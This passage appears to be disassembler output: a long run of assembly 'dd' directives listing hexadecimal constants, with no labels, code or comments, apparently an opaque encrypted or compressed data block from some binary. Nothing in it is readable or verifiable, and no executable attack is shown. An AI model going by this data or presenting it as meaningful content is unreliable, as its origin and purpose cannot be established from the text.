		dd 220E7D52h, 25935917h, 0D3B73198h, 998D5A2Ah,	0F2EE11A7h
		dd 1810600Fh, 4AFC4887h, 0FBD6E976h, 0FE523CD4h, 4B43DF75h
		dd 0D8F58F6Fh, 7CFD4DA6h, 0A3EA9634h, 0A4E73D79h, 9B94A50Dh
		dd 0B1ADA3CBh, 0B80D3988h, 1CFCA679h, 86D7F462h, 54298016h
		dd 0D62606B2h, 694602A0h
		dd 2D80888Dh, 47E92A10h, 0D01359AEh, 0B1BABAB8h, 330A62C2h
		dd 0E5C167C4h, 0E5DFA285h, 0A14620B1h, 87C78CB7h, 0CA974663h
		dd 0C65EE232h, 686A09C5h, 72FE8C2Fh, 295C7036h,	6EEBABD6h
		dd 0D8458F52h, 27887DF6h, 1BC94507h, 7DE2C418h,	0B963512Fh
		dd 4E5D279Ch, 0A8D5540Dh, 0FB6160Ch, 68DA7ED4h,	0FB281511h
		dd 24E74B5Fh, 0E90A9EB3h, 1FDDCC6Eh, 1F2856D2h,	461A4121h
		dd 0F43C92F5h, 0B5586AC3h, 5998376Dh, 0FD0DFAECh, 3E02CE50h
		dd 0CF4E4A24h, 1867918Fh, 0FCF2F1EBh, 9548F807h, 0EFF2F5A7h
		dd 2DA1490Fh, 0A0B13043h, 0E8B3D66Fh, 8AF5E526h, 3C416CF0h
		dd 3E60BE1Eh, 0CD99D3CAh, 569AD80Eh, 6784F459h,	31A86E0Dh
		dd 5D73E7C5h, 8D833021h, 228A16F6h, 0C9D78792h,	1C44FB03h
		dd 427F622Dh, 24497B03h, 0DB88AF76h, 6235917Fh,	0A67A6B73h
		dd 6982790Ch, 0B9CE4100h, 5B55A897h, 5E3728F8h,	0D9BC3843h
		dd 6B2297D7h, 53321B37h, 227D85A7h, 297E6A5h, 2ADDCFD9h
		dd 24053687h, 565B93E7h, 0ED841BC3h, 8F187102h,	3F56044Fh
		dd 3D34AEECh, 35A1F0C5h, 0EF6CC8EEh, 9405D06Eh,	54627A2h
		dd 0DBFD55A7h, 0D8CD3EC2h, 0FC48A060h, 7FA4CF22h, 8D590090h
		dd 0FA2BA865h, 0E5F0749Ah, 64F433C4h, 6666EA18h, 0A7B4FC43h
		dd 0BF645672h, 5004FEEDh, 0C42D68FDh, 0D1254B4Dh, 1C25B629h
		dd 38C29F1Fh, 0B5F42C24h, 6B7E1A0Ah, 365FD4D2h,	0E8351F52h
		dd 4225104Dh, 6E9E1A14h, 5B3B824Bh, 7EAD1F7Ch, 0B2EF0CA0h
		dd 0EB6C70Fh, 354DDFABh, 6F36151Dh, 4692F6B6h, 0A31F64D6h
		dd 0B9465219h, 55407800h, 76D9BDBBh, 0EACECA81h, 5E2D08C0h
		dd 0FEF1A446h, 0B20FE6BAh, 9F4AC34Ch, 0FEE19989h, 65CB65F0h
		dd 3DC845D1h, 0AC02B847h, 0D44C0C14h, 0B9520282h, 0D86510C5h
		dd 8677EE5h, 54D21Dh, 525B4458h, 9B9A34A5h, 0A87A7CFFh
		dd 30DEB757h, 9751A03Ah, 3614EDC9h, 7204C15Dh, 0BE879E3Fh
		dd 360AE7C5h, 20CB0E10h, 152C4971h, 0D1A279E8h,	0A05ED13Eh
		dd 61709EF5h, 0AB7BA88Bh, 0BAD476C4h, 0EA7520F4h, 0FD1AB01Dh
		dd 6C2B0DCAh, 0FA82586Eh, 3409DF7Ah, 0E5914FFFh, 2E75B50Ch
		dd 65FBF78Ah, 0C4F4175Fh, 0DE9A881Bh, 5CA68A07h, 875CFACDh
		dd 7B60CAF8h, 3B1C7E4Fh, 6D5438D4h, 4DD11ECBh, 0D5770027h
		dd 0A9F65695h, 82372595h, 0B7D99BFCh, 840630C6h, 0BD1860E4h
		dd 48993153h, 9749932Dh, 29C9B489h, 62EE173Fh, 5A22747h
		dd 16C17FDDh, 1917D0F2h, 1E1D541Ah, 3EC8F6B6h, 17FA78B6h
		dd 0B06A0966h, 86C9ACCBh, 42F89D58h, 5D8C0844h,	0BB9F4A3h
		dd 0B42D299Fh, 2151D123h, 4A63DA7Ch, 673429A7h,	3A3934F7h
		dd 0FDCFFD8Fh, 1D01ABFCh, 3F6A8A9Bh, 0A813B1Dh,	0ADB5EDE9h
		dd 0D7C20828h, 32FD95DDh, 924463AFh, 9873C724h,	58596E0Ah
		dd 5DCD4BADh, 28CC1611h, 0E55BDF7Ah, 4BB96F8Fh,	757E002Fh
		dd 0C531622Ch, 30CB15F9h, 4011BC51h, 0D06431B5h, 0ED293C5h
		dd 9DE33B34h, 686CE554h, 2B255A88h, 0B1175B89h,	0AAD5B0A5h
		dd 9E6921F0h, 20671828h, 9704B7F2h, 32A00A1Eh, 4063FF3Dh
		dd 6DE1E115h, 13D2BB18h, 23D25D52h, 27D73750h, 0CEDEF7Eh
		dd 0F8BD0F19h, 0FD74418h, 3E529700h, 0E154B6C3h, 810321D4h
		dd 0AB6E3DA2h, 63327B47h, 0F42CCCFFh, 4962A0D2h, 70758AB4h
		dd 8BBDD28Eh, 83E8AB21h, 8EB3A1C9h, 0E2FA86B9h,	697C334Dh
		dd 6D097C37h, 8976B71h,	0B432D941h, 683D1407h, 96AA681Dh
		dd 6D99551Ch, 0AC3E87BFh, 0B1530E6h, 3362F6A6h,	67380B74h
		dd 488AA1Ah, 0A1372784h, 12D0600Ah, 0ACC4D1B9h,	9D01A40Eh
		dd 0AEF2CC03h, 24644F32h, 932A3608h, 369F5715h,	6FFB9822h
		dd 4377AD2Fh, 3597A92Fh, 0D848189Eh, 0B2EDA55h,	85868487h
		dd 0A1751612h, 0D4CD20AEh, 0DC281FADh, 9214A842h, 0AFBE1C16h
		dd 8241504h, 4BEE835Dh,	0F5401791h, 29FD8D07h, 8A8A4F81h
		dd 8AD7CCC8h, 3401B60Dh, 71D931A3h, 947D56E7h, 0DF997E67h
		dd 939F58F4h, 0EA6857ADh, 62E7ABFh, 8C0F0A16h, 9157253Bh
		dd 3C19107Dh, 1CA84788h, 0A3C255D7h, 0F55F1FEFh, 0FE8484EEh
		dd 39DBFF1Ah, 3227F5C4h, 0FEC6DC2Dh, 56B534BBh,	0D5DF5875h
		dd 6C834440h, 0FC38B80Dh, 255A090Eh, 0A6D2118h,	25F3493Dh
		dd 8C66C137h, 97E71E7h,	8DCA41E5h, 21F15EB4h, 0D2747B76h
		dd 0A3D323EEh, 0A38F13F7h, 211116D9h, 1649288Ah, 2142AF2Dh
		dd 0D4EDF9DBh, 0A9028F4Eh, 0E5D7E9E9h, 40312A1Ah, 6C21D86Bh
		dd 38C25407h, 6435B43Bh, 0B74D7859h, 0D3C7EF82h, 0B617A45Ah
		dd 570DA1E7h, 2534ACAFh, 7FD87A81h, 78978BAAh, 21F9B8BBh
		dd 32385FCBh, 4B140E62h, 0BC7EA7A8h, 3A6C0AB7h,	2EC44356h
		dd 6A010648h, 0AB612D7Bh, 0C32C47D2h, 289B8B57h, 81FB75DBh
		dd 8BF526CCh, 0DAD916BEh, 0E6C42AFBh, 1510ED85h, 381524B3h
		dd 6FF500BEh, 3ED433B1h, 0A3F71B2Eh, 81FBE38h, 0B1E1D87Dh
		dd 0A78FC2ECh, 0CB0DCF17h, 0FF10E6CCh, 9DC9C8FFh, 0E454276Fh
		dd 46A69341h, 6633D181h, 34EA10A7h, 0E5C1851Dh,	0D751A5E6h
		dd 61D6F537h, 1B785A25h, 23C01BAAh, 7AB92F0Fh, 0C650BA63h
		dd 818746BBh, 0B5C7118Fh, 0A3B8AD83h, 3E42F76Dh, 3A879502h
		dd 67EF5749h, 0F72198ACh, 91E3E89Ah, 69B6DE3Ch,	0CB97DD5Bh
		dd 0B8B15D73h, 437DE6E0h, 73397F1Bh, 8C5CFB50h,	0D001202Fh
		dd 259ADD6Ch, 0F762555Bh, 4486B20Ah, 0DBC24B91h, 9428A4A5h
		dd 3AA35AF0h, 0ECF8D89Ch, 0C2C5AB90h, 566C65DAh, 0EB9859h
		dd 934EB333h, 0C1DD2D5Eh, 0A511E221h, 0C7EDDD10h, 2B7D2879h
		dd 9BA88145h, 0A19B4F67h, 0CD1EC134h, 876047F2h, 1245CBDDh
		dd 5198EBBCh, 45174009h, 4A64CF1Ch, 0DD7C4A30h,	52F3085Bh
		dd 2F17770Fh, 812736B5h, 71AB0D6Eh, 0E146F7FBh,	8C058E92h
		dd 324513BAh, 39D9FD5Ah, 0F409C113h, 0D073BCD0h, 78F07564h
		dd 4D060FD5h, 1C4F136Bh, 0DF296103h, 0DE3CFF11h, 8C1FE31Ah
		dd 2D69BBF9h, 8CCC9E25h, 0AE7AFA5Fh, 0DF20DB3Ch, 9DEF06C3h
		dd 15538286h, 4E235902h, 0FEF13339h, 8A82B79Ah,	41628E9Ch
		dd 0B20F436Ch, 4A0BA096h, 0DFB4400Fh, 0EE3A24E6h, 793500D2h
		dd 0D90678B2h, 84F9F06Ah, 4D75CCAFh, 9A3A1519h,	0D343A001h
		dd 0F47A4E21h, 15CF4A1Bh, 2311C4B4h, 25DCC81Eh,	0AC930DA8h
		dd 77B0FAB4h, 6C460C77h, 6B2B5C4h, 95A31C79h, 3113E7E1h
		dd 0B50E2899h, 0D4920D42h, 0D98F8CFEh, 83E70085h, 2BB1FE66h
		dd 0B6C0F304h, 4E0676C6h, 93C7D0D7h, 0FE1393ABh, 814AE694h
		dd 9D8FC180h, 0E9AC59CDh, 0AAC9FB86h, 0F95B2279h, 2043A00Eh
		dd 81911098h, 0D9E4CFD3h, 0E7F7E834h, 48C0E32Eh, 488C51BAh
		dd 2EF5CE71h, 12684D8Dh, 0E77DB6ACh, 609A904Ah,	15C70106h
		dd 3F3EA606h, 0AF3D0B56h, 0A95FC856h, 2983D2C2h, 9C18E5F3h
		dd 0ECCF76Fh, 88EB4529h, 5BAEDA3Dh, 50CF1239h, 0C2E010D6h
		dd 807B2D51h, 0D14DEE40h, 83935CD4h, 39BB2575h,	0A39B3CDBh
		dd 511460CCh, 0B9D0F99Ah, 2B2618ABh, 7343A86Ch,	0B8BE42F2h
		dd 0AC9AB9B7h, 94FF83A6h, 0A454302Fh, 6DA2896Bh, 6168FDBAh
		dd 35489EC0h, 0B4C4E94Fh, 6090C26Ah, 2724C03Ah,	1F2F458Ah
		dd 0DAD5F614h, 5836EDDCh, 4F5EE523h, 0E76CD725h, 0FD173BF6h
		dd 9C9DA8EBh, 4095A18Dh, 1218A7B9h, 0A3910F23h,	567B1971h
		dd 44BC45ABh, 0CB3557B9h, 8EF7165Bh, 2E8360F3h,	440E0E58h
		dd 0CE28FBDAh, 0E9C12479h
		dd 58F88E41h, 75DBFA88h, 1B2BB46h, 0D8B1F044h, 3FD97BCAh
		dd 1585E9EFh, 0DB0BC89h, 5CEF7A50h, 2D825B17h, 0FB323ED7h
		dd 8CFBB874h, 0D4EBECC4h, 2BB7A3C8h, 9D696EC8h,	47C41469h
		dd 90A072E2h, 0C69B83D9h, 64EDC41Bh, 79A17FE3h,	854FA9FBh
		dd 2444134h, 6F032483h,	0AE685D79h, 0FB8AA562h,	0E1D742F4h
		dd 0B33A3D88h, 73C8C569h, 6AAFED4Dh, 49FB322Ch,	0E82714EFh
		dd 0C99FD5F0h, 0E9B83D35h, 0FBBEB04Bh, 9A578CE8h, 1B8A204Eh
		dd 18159806h, 956F602Fh, 6077FD9Ah, 0ECA3542Fh,	55D408A7h
		dd 88E9FF44h, 36CF82CCh, 8A2DB863h, 61C519Fh, 2C83EC2h
		dd 0AA4829F6h, 0B931FF69h, 0BA8A2B4h, 0BB9BE719h, 0F843B2C5h
		dd 0FF102E4Ah, 84CEA87Eh, 58A1B96Bh, 0F1EE837Ch, 226AEDC2h
		dd 0CE986972h, 207119D7h, 0D2BCFE7h, 11755B01h,	0E3E4AC00h
		dd 0CCF763Dh, 0BF313ADBh, 0BB2D1722h, 868A0F35h, 0D9D1E6D9h
		dd 45F20883h, 8CE7D8BDh, 8A897957h, 29CE79B9h, 0FE8D913Eh
		dd 0FA43925Dh, 0FBBF3D35h, 0BF35D683h, 1507F9D0h, 40C4482Fh
		dd 29B741E7h, 0A62BB287h, 42EB3F0Fh, 4390D84Dh,	73F5A7AAh
		dd 0E8BC0148h, 8B1EB90Dh, 2ACC93D1h, 49F53F80h,	4C5EBAB0h
		dd 0E448C9h, 11F3E80Eh,	0B84EB20Eh, 3159CABCh, 3804C5D3h
		dd 94EEE6D3h, 0E2C90BBDh, 31F59AA7h, 4D300FA4h,	0E08A2A2Fh
		dd 102290F9h, 0B12A64BAh, 0ED59102Fh, 971EBDF2h, 674FC648h
		dd 0C6A12D1Dh, 626A37BEh, 0FA13484Ch, 0DD70B7BFh, 98CD2B3Ah
		dd 22200236h, 6E69EAAh,	5D85CDCCh, 1F396F39h, 9326D3CDh
		dd 0E4DE28DFh, 0B0010516h, 8793F428h, 634D3425h, 0E4329E91h
		dd 0C53948B9h, 0B80EA450h, 4BA34753h, 0A9AE1BD6h, 5D5239A4h
		dd 155C13FBh, 2A051E29h, 8A0AADDDh, 0E8F0977Bh,	2A4B3B2Dh
		dd 0EE5FFDCEh, 0ABB3BA09h, 0FC59CAFDh, 5F63DF4Ah, 950D1473h
		dd 0CD1B9E5Dh, 0C0A894DFh, 4945A8B2h, 0E875A57Fh, 0D7F7BBD4h
		dd 0D5DA21D6h, 0D9BCC2A6h, 6393C110h, 12041AFh,	6877BEh
		dd 3FA480FEh, 6AF7D293h, 0B350930Ah, 6D92598Ah,	0A91E1E63h
		dd 8BC5F343h, 0F753CFE0h, 2A74E4DBh, 0A4B9EF75h, 0D8A87F68h
		dd 5EB90E07h, 639B7127h, 0E46DA654h, 3837C2BBh,	983EAB63h
		dd 0DE00ED9Eh, 3274CADBh, 0DE6B969Ah, 0C854CE0h, 0F43FF5E9h
		dd 3E5D8313h, 0B59906EBh, 0BA4AF0F2h, 3507D839h, 893D1080h
		dd 7CD21202h, 0CA472618h, 0FE565E44h, 64A7D2B8h, 895D11F7h
		dd 0D1D9342Eh, 898761CFh, 4D1F4A77h, 0DF94C7Bh,	8CEA32BBh
		dd 8226F7DBh, 0BB73BB9Bh, 0D426B3F9h, 6EE68D63h, 8D904B00h
		dd 0E26CA4A9h, 9C538761h, 8F78CCEh, 0BC09A13Ch,	0E049B3E9h
		dd 43E241F5h, 302C13E7h, 776756A5h, 1C96DC5Ah, 5541D689h
		dd 0F6ADF001h, 8E65CCCEh, 135DBE5Ah, 7A4F8DB4h,	4CE450FCh
		dd 0CB3F557h, 56442890h, 5473750Eh, 971F17ABh, 0DDCAF2ADh
		dd 6DA72A14h, 103499B7h, 57E4A05Eh, 2DEEE6C1h, 2970A07Dh
		dd 720DBB0h, 203E099Ch,	0A74F79C1h, 0D2866439h,	0D894FEA2h
		dd 8D3F128Dh, 3D3983ABh, 0E0C76DA3h, 74E2BD5Ch,	0E34C0B85h
		dd 0FEB896EAh, 4254F00Ch, 0E8010B52h, 0F30F119Bh, 84A90010h
		dd 0F72191E3h, 21E5F326h, 0B2064CE9h, 7CFEA737h, 1731D859h
		dd 0DD90A51Ch, 33B612D5h, 27081180h, 17CE3B4Fh,	9996D08Ch
		dd 6E314ECEh, 18693546h, 376A9693h, 249C3283h, 1412FDF7h
		dd 4217FA1Fh, 9734522h,	0C0D96B7Eh, 2B4FA24Bh, 0BFBC4169h
		dd 4528D794h, 0E7C437E8h, 0DDAC225Ah, 0F3366070h, 8D75668Bh
		dd 3A06515Fh, 1014ADF9h, 19BEBCFCh, 0A1ABE440h,	9E9CFC19h
		dd 0B4AD82BBh, 13839Ah,	0F832BA27h, 8F3BC1A1h, 8303A40Ch
		dd 0AD948D33h, 7882250h, 4AE7B019h, 9BA44EB7h, 0E58B80B5h
		dd 0B5AE7CE5h, 2449A4DFh, 5D2D56BFh, 0CDC462B6h, 0FB2802A8h
		dd 22FB82A5h, 0D29B256h, 0E95B74C4h, 4C82140Dh,	803D7E43h
		dd 3CF9A0C1h, 0D42036E1h, 5ECF515Ch, 0EF8DAC14h, 0C3F4B3A7h
		dd 15E2A114h, 398028DCh, 0CA403AE0h, 0C4FEFA51h, 2B9A5626h
		dd 0CB686946h, 0D3901C11h, 0CA44D553h, 9D78403Eh, 0D1D929BEh
		dd 29DFBFE2h, 0E1C60A29h, 0DB27417Eh, 0A797A729h, 95795BDBh
		dd 5599DA8Ch, 2C031BAEh, 0F2978ABCh, 5396F550h,	4B947AD4h
		dd 9D36A021h, 0D3E8420Dh, 0CD00E2A9h, 9B7EF340h, 0C95FD166h
		dd 41482A1Fh, 0B8EAE9C1h, 5EC45BA9h, 47A6CB30h,	0B4A5FFC4h
		dd 49D15D30h, 0B73177B4h, 0F3A03A19h, 0A24FEAE3h, 36D73E7Ah
		dd 0D0B80292h, 0E7964B3Bh, 26E7F74Dh, 6A15299Fh, 0BD686058h
		dd 0E5A4212Dh, 149AE7D5h, 0B466B223h, 0F6D15BA9h, 13DA80A5h
		dd 0F43C16C7h, 3C0047DCh, 9F91DB3Ah, 9E7B05FFh,	0D669748Fh
		dd 224809E0h, 0F1440C3Dh, 0DC1C34D2h, 3D68CF09h, 0C31CBADAh
		dd 0F9F1DBACh, 7197312Eh, 44F618D0h, 0A9E19B8Ah, 0D067C597h
		dd 456BEC1h, 5319A6EDh,	6B2AB897h, 23F7E163h, 0CFAAE2DBh
		dd 0AF3FFCF4h, 8E4782DFh, 0B1E4465Fh, 39C8E49Ah, 8CB09712h
		dd 68F5C062h, 0B364F6B3h, 0E478A811h, 0B5BD225Dh, 888C03E9h
		dd 8DBB6B57h, 0C7029B99h, 0DE34A86Ch, 3025241Ah, 628C6DDAh
		dd 0A4105757h, 0DF512AF8h, 4E77614Ch, 0DE8721C5h, 0A0FE90B2h
		dd 0ECF221E5h, 8A98EADDh, 0F439F55Ah, 0E85EBF6Dh, 0FCC00437h
		dd 3D78EF6Ch, 46CDBE62h, 0C584CA54h, 3CE0F58h, 3309AE6Ah
		dd 0C616C480h, 0BF8EB50Dh, 826DF2A1h, 0CA9ED7ECh, 1188C36Dh
		dd 727D7ADh, 0FA0B0070h, 6A287000h, 7C383C34h, 242CEE5Ah
		dd 8D877DDCh, 0A05BE77Dh, 99E97116h, 41EF37C0h,	8A50719Fh
		dd 15DC2BB2h, 80583B5Dh, 2ADFBC5Ah, 3018F97Dh, 0C2A1AE79h
		dd 0B3CA3F44h, 0E7B397B1h, 0DD6AEE85h, 0EA28F15Dh, 0BE0402B0h
		dd 0AD2A5BCBh, 9389F16h, 60A5CE53h, 7819A14Bh, 773513AAh
		dd 2EB2889Dh, 491708CAh, 0F931D87Eh, 25FDF1D6h,	0D0B7A7E8h
		dd 0E2D803B1h, 0D694240Fh, 0A6F388B6h, 82E9B1Eh, 9A2302D2h
		dd 9C3AA3CCh, 0B1D99BFCh, 0C9CAF25Fh, 507880F9h, 572946E5h
		dd 51B27A46h, 0C370B92Fh, 0C82890EFh, 0A0D1B3A2h, 0BF535E02h
		dd 7903D64Fh, 8D5A9EE0h, 3A1F95CEh, 7472C45Dh, 0D2CB25A6h
		dd 0A0B9C208h, 0B249140Eh, 828046B0h, 9C645C1Dh, 6BCD5484h
		dd 0C3D079C5h, 5F286948h, 525C1D35h, 0D1391ABDh, 67AFCD8Dh
		dd 0F7D13BFCh, 0F8B43707h, 0F1C42A2h, 104FB50h,	89EF2B79h
		dd 345EB1F4h, 3AB982FAh, 198C2F23h, 4A0CAEA5h, 1457973Eh
		dd 0CAE52F27h, 9EF5B89Bh, 4FE1100Ah, 0B5E0F6FCh, 1A58F05Ah
		dd 5371976Fh, 21A91EC3h, 5AE3D893h, 0CEC70D7Ah,	3D182FC6h
		dd 0DF382A02h, 60F96A6h, 0B70D3670h, 125F1457h,	0A9C12775h
		dd 5C8FC8CDh, 0A07A2180h, 4BACE8DFh, 169E857Dh,	0EC189B83h
		dd 6D77B3F8h, 110135E8h, 7D5DD608h, 0AC71E8C2h,	2421A8DDh
		dd 8963E0B5h, 85A0ADBDh, 0CA169F80h, 0E5917CEAh, 2F419235h
		dd 0D0646E9Bh, 19922216h, 0A6E07C39h, 16DCD6D6h, 8CDF1CC6h
		dd 0B1B53775h, 0E6A388FBh, 11773297h, 0C7E97310h, 0BD6451h
		dd 2D9BE67Dh, 9F4E3522h, 0C24BEA69h, 0DD09B46Ch, 1DF1B473h
		dd 0E1D9CD53h, 43FB43D8h, 7B454281h, 2DB1E5B0h,	0F6DF355Ch
		dd 0A86F28EBh, 2DDEB804h, 42BFDCF1h, 789984BCh,	753BA8C8h
		dd 83427F0Fh, 82CC4AC2h, 0E819984Ch, 0C55E1AFEh, 0F420CE1h
		dd 0CA3F84D7h, 8A7C10F1h, 5DB3C907h, 47CB2805h,	1EFC1BF5h
		dd 3CAFF1EFh, 7572B0F1h
		dd 0A8D70EF9h, 9897E791h, 0A0E2B33Bh, 4E637AEEh, 48114AB6h
		dd 0CE47AFBDh, 197DA558h, 0BDFB9384h, 98CE9D31h, 0BFF58EF4h
		dd 0C6219303h, 0CFD172FBh, 901D6EC2h, 3CC35D9Ch, 0A5866506h
		dd 1E8D274Ch, 0A55BD558h, 57E8CC29h, 0C8E96DA2h, 0EAD9DD45h
		dd 76451B50h, 613BDC8Eh, 1F22BA8Ch, 18B3C4EBh, 0E0997B2Ah
		dd 0E68ED613h, 0DF2A3FE4h, 5E9287B5h, 4A197B0h,	0A88F82FAh
		dd 675F7A96h, 1D62B71Eh, 5FDD29BDh, 51F4F5F5h, 10D3B66h
		dd 3EA9C15Ah, 904DB59Ah, 0E78943CAh, 928EFEADh,	0A182AF72h
		dd 90A722F1h, 0F0FA253Dh, 0E877A258h, 43F9423Bh, 0C953D8F5h
		dd 0D67A5010h, 3489CC00h, 0AF92C5CDh, 440A47D5h, 0E364C360h
		dd 6BD1DC6Ah, 6CDE1DA8h, 5F9F5B4Ch, 0E35AFA37h,	0B02B0E76h
		dd 5813DD9Dh, 9402202Fh, 91DEA99h, 2A849D9Bh, 68594174h
		dd 224B3F01h, 2A2CD82Dh, 2A59FD40h, 1C3EFFC6h, 0B9EEADEDh
		dd 54A7DF4Ah, 0DE84A11Ah, 39C1B0B7h, 8DC38953h,	7D18C238h
		dd 3E1EF4Fh, 778F3AF1h,	6B1284ECh, 8607EC8Dh, 86338FB2h
		dd 586680E0h, 0FD57746Ah, 2F404DAFh, 4AEF4278h,	0D4EE0EAh
		dd 0BF29F222h, 0A65B940Dh, 31433ADh, 0C9C364DDh, 83735BF3h
		dd 0AA4858F6h, 555FD2Eh, 0DDBA8910h, 0D52B146Bh, 0DF42D47Ah
		dd 0FC1762D3h, 0D17BD009h, 28907ECEh, 4C38D5F1h, 0EB2733CDh
		dd 2551Eh, 8CC86263h, 820804D5h, 28D7A86Bh, 32900457h
		dd 0C970507Fh, 1066CE4Dh, 3E249419h, 0EE3D98C7h, 0DC45563Ch
		dd 8D88ADC0h, 988D5CA3h, 6C45F6C8h, 4A7E1A1Dh, 0C9103986h
		dd 0D510B337h, 0DA28ED4Ah, 1EA1BBAFh, 3E9F5D4Fh, 38E4E3D4h
		dd 9FEFDFC5h, 8B1A9273h, 39959ED0h, 0FB50470Ch,	0A41969A8h
		dd 38316F66h, 5B84D6h, 8B27C8D1h, 0BA17DE07h, 0BC2CA1A4h
		dd 199E8EC9h, 0C933B409h, 0E7D4C76Bh, 0AAD7E837h, 0C759FFE8h
		dd 4EB9CE75h, 2CC4BC97h, 24B6B66Ah, 442D9864h, 991D7BB5h
		dd 0EC034853h, 37E700Dh, 0D2B42EEEh, 24F5B537h,	352EC0Dh
		dd 498C1886h, 89A12FE3h, 0AA4A173Eh, 0DA6035EFh, 67B6F49h
		dd 0F8B89F7h, 957188DBh, 474351EDh, 97DFE5E7h, 397F9889h
		dd 1B5245FFh, 4EB594ABh, 0C39E411Ah, 3EE0F69h, 80474E51h
		dd 3865282Bh, 387D2836h, 7DF13A0Dh, 728AB606h, 0D7DBB679h
		dd 6C2EAD46h, 0CA54EBE1h, 5DE990D5h, 0F6245134h, 8FA85DB2h
		dd 6593DBFEh, 710D68B8h, 0BE6A0183h, 0E700EB07h, 1ED683BFh
		dd 7758F027h, 0DDE5D7A3h, 0FD4A94C6h, 3219F9EEh, 0DB5976B2h
		dd 3E6815CEh, 0AE007AC4h, 0B8712F4Dh, 0C3CFE7C7h, 843EEA5h
		dd 58F5C6F1h, 0F7C52B51h, 0D95BB583h, 760C2736h, 21DC3C68h
		dd 0A13F6838h, 220167FCh, 236A4591h, 0D4D26AD8h, 0FBE3D6E9h
		dd 6D8054C4h, 0F3D3AFFEh, 9232CDA1h, 263DF72Dh,	7F763A1Ah
		dd 5D9FF85Bh, 8F5DA37Eh, 8F5B8989h, 0CA7D7683h,	0F275C3DCh
		dd 88C77011h, 81AA6AA4h, 20D3A3DDh, 9BFDD9D3h, 0C0558322h
		dd 0EC41CB1Bh, 4F03A4E6h, 3D3DEB39h, 3A2D1D81h,	1FE4FC9Ch
		dd 0C0C913F3h, 74B93D00h, 0ABEDCCFEh, 77E7AA44h, 11493BE7h
		dd 3607A18Bh, 0F5B0C8CEh, 0E269A0E2h, 71A6A6F3h, 0F18F3EABh
		dd 148CB37Dh, 1ABAD288h, 0D537A8E0h, 0CDBFF6A2h, 9908D25Dh
		dd 278C4FBCh, 578E58E5h, 99802EA6h, 1A5EE351h, 0C898837Dh
		dd 145B6449h, 0C2BAB6C0h, 7D4B7037h, 0FC85B19Eh, 2AC1CB3Fh
		dd 0F823D00Eh, 0B26AC70Fh, 79B8F281h, 8CE0B34Bh, 800EF53Ah
		dd 2FB8A224h, 0DA004A40h, 2E934DF6h, 8CBAD17Ah,	5AA8C79Bh
		dd 77363363h, 277EFB35h, 16CC4D3Fh, 0F67C2B9Ah,	0C66610DCh
		dd 777B97DDh, 0CE376109h, 6FFBF9EAh, 46952400h,	0E6946F5h
		dd 1C7D5A7Fh, 423ED02Eh, 4776041Eh, 7B38E9A2h, 0CDA48E51h
		dd 0CA7D94C7h, 1699981Eh, 81108792h, 9D95AFC5h,	544E32B8h
		dd 0D873B664h, 2DC9E0D7h, 6DC27942h, 0ED6F64AEh, 9270883Dh
		dd 0A164286Ch, 414931A7h, 0FCA008A6h, 88937C7Bh, 5C6340BEh
		dd 0AA498C83h, 0E3285F2Eh, 0A71BFE51h, 89051972h, 0BB5DFFCDh
		dd 288F913Eh, 542E967Eh, 0B5B90A1Ch, 27D278C1h,	91ECE384h
		dd 0A099EA73h, 5355F939h, 47645F25h, 2146A84Ah,	0E627FFBEh
		dd 7A612E8Bh, 96DC6EC5h, 0B87F413Fh, 8BB072A6h,	3A493207h
		dd 0A16A100Fh, 0ED5D34E0h, 64C72BA1h, 395C80FCh, 0AA824F29h
		dd 0E7F80564h, 7297B4B4h, 976480C3h, 19704F4h, 2AE79CFEh
		dd 0FF4060BBh, 96897176h, 3870841Ah, 0D5035B4Bh, 0D1D8642Ah
		dd 4A38BD5Eh, 0C90E7A71h, 0D30D1144h, 11933A95h, 6C88D42Fh
		dd 6B86964Dh, 0DBF7F540h, 48267839h, 5B5945F2h,	353D90B3h
		dd 1C9FFF54h, 69976CD2h, 9E2CA2D8h, 30A5C3B0h, 240CDA1Ch
		dd 0B5101DF5h, 634DB273h, 39D3CCF2h, 5C6A1846h,	10D45507h
		dd 969278A2h, 0D4947F62h, 8B39D375h, 0B88FCF9Dh, 0FA96AA18h
		dd 5C3C667h, 0CB75702Ah, 0BF10BC03h, 0AA8C0D2Ch, 0E6EDAF42h
		dd 29F5AF15h, 35B668F0h, 128F33CBh, 4EB79C83h, 0A9C38492h
		dd 301B17C5h, 922336F6h, 422995CFh, 0F54EE700h,	0E26758C7h
		dd 5CA86728h, 0BD8E7470h, 0BFA0D8D7h, 5341A81Dh, 0D96A5C47h
		dd 0A48B40A0h, 0E19F85h, 0ED017E1Bh, 1E94A611h,	3DB0F96Fh
		dd 0ED8501E7h, 0C1CA337Eh, 0A5474D71h, 4970ACB2h, 114FE041h
		dd 876576E2h, 5F97E567h, 9EBFE6EEh, 0B911051h, 97B93012h
		dd 5ABAB241h, 4F456A56h, 890FC6B6h, 366D9D7h, 9A124408h
		dd 0B4B27049h, 0D6981B32h, 0C3C5FCACh, 0A74C0E7Ah, 0C7EE634Ch
		dd 554B2827h, 0E057616Ah, 3E46A45Bh, 77977334h,	4B63EFD9h
		dd 0CA23C642h, 2362E10Fh, 40D16F59h, 0B6F2DF00h, 46912AD8h
		dd 3456F68Ch, 408491F0h, 0D115F5FFh, 0E6320E8Ch, 86F0DF26h
		dd 0B79B6E68h, 14E6CB13h, 0C534F91Ah, 7DA72B71h, 0E9344313h
		dd 0AE5FF10h, 0DE3DE7DFh, 7B8F2CEFh, 8EDC32F7h,	867103BFh
		dd 0DCC9F4A2h, 327C61E0h, 56CB0E58h, 4CA9FF10h,	0CC3B21E1h
		dd 904DA5AFh, 6B13235Ch, 914B8403h, 973ACF5Dh, 0DCDFDCB8h
		dd 0A5982A4Ah, 95B68C26h, 80EA3377h, 0A5F60B63h, 4A4E7C62h
		dd 57EC7DC0h, 77720788h, 389EDB4Fh, 0BEA80154h,	0A37BA9B4h
		dd 34F9468Eh, 619CF93Bh, 9EFF46C2h, 0AFDB1019h,	0DC7D1DD2h
		dd 0A79A6FEAh, 3A2696A3h, 0EA9437h, 931F425Fh, 2EF1143Bh
		dd 56E57A98h, 7EDCADAEh, 5371D5A4h, 8CCC1E43h, 0CDCB7082h
		dd 0D99E9B0Bh, 0E1AF9A01h, 12270950h, 0C3C0C153h, 0C917C454h
		dd 3CBAE2BFh, 3C39D428h, 0E021BE3Fh, 0C0F25D4h,	84E1B858h
		dd 0D281C13Eh, 0A9150558h, 0F54FF99Eh, 4BBCD38Ch, 3396A585h
		dd 6150BF12h, 928C271Ch, 7F828F73h, 0FB3E8F03h,	0FE88E69h
